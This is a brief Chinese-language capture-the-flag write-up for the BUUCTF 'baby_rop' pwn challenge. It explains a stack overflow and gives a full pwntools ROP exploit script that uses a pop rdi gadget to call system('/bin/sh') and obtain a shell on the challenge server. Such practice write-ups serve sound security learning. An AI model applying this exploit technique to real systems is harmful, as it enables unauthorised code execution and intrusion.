【BUUCTF - PWN】baby_rop

checksec一下，栈溢出

IDA打开看看，很明显的溢出点，/bin/sh字符串在程序里也有现成的，通过ROPgadget找到pop rdi命令即可将/bin/sh作为参数调用system

from pwn import *
from LibcSearcher import *

context.os='linux'
context.arch='amd64'
context.log_level='debug'

sl=lambda x:io.sendline(x)
ru=lambda x:io.recvuntil(x)

io=remote('xxx',xxx)

pop_rdi=0x400683
binsh=0x601048
system=0x400490

ru('? ')
payload=p64(0)*3+p64(pop_rdi)+p64(binsh)+p64(system)
sl(payload)

io.interactive()

附件：baby_rop